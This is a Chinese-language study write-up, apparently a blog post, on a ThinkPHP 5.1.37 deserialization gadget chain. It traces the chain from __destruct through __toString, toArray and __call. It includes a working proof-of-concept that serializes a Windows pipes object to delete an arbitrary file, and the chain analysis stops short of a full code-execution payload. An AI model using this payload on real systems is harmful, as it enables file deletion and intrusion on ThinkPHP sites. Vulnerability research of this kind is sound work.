国庆旅游回来,发现tp反序列化链很流行,试着学习一下,打算用三篇文章来目前最新的三个反序列化漏洞。
composer create-project topthink/think=5.1.37 v5.1.37
漏洞起点在.php的__destruct魔法函数。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里同时也存在一个任意文件删除的漏洞,exp如下
<?php
namespace think\\process\\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['C:\\FakeD\\Software\\phpstudy\\PHPTutorial\\WWW\\shell.php'];
}
}
echo base64_encode(serialize(new Windows()));
这里$filename会被当做字符串处理,而__toString
当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString
方法。
//thinkphp\\library\\think\\model\\concern\\Conversion.php
public function __toString()
{
return $this->toJson();
}
//thinkphp\\library\\think\\model\\concern\\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
//thinkphp\\library\\think\\model\\concern\\Conversion.php
public function toArray()
{
$item = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
...
}
//thinkphp\\library\\think\\model\\concern\\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
。。。
return $value;
}
//thinkphp\\library\\think\\model\\concern\\Attribute.php
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
这里的this − > append是我们可控的,然后通过getRelation(key),但是下面有一个!relation, 所以我们只要置空即可,然后调用getAttr(key),在调用getData(name)函数,这里this->data[‘name’]我们可控,之后回到toArray函数,通过这一句话relation − > visible(name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里
可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[$method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象。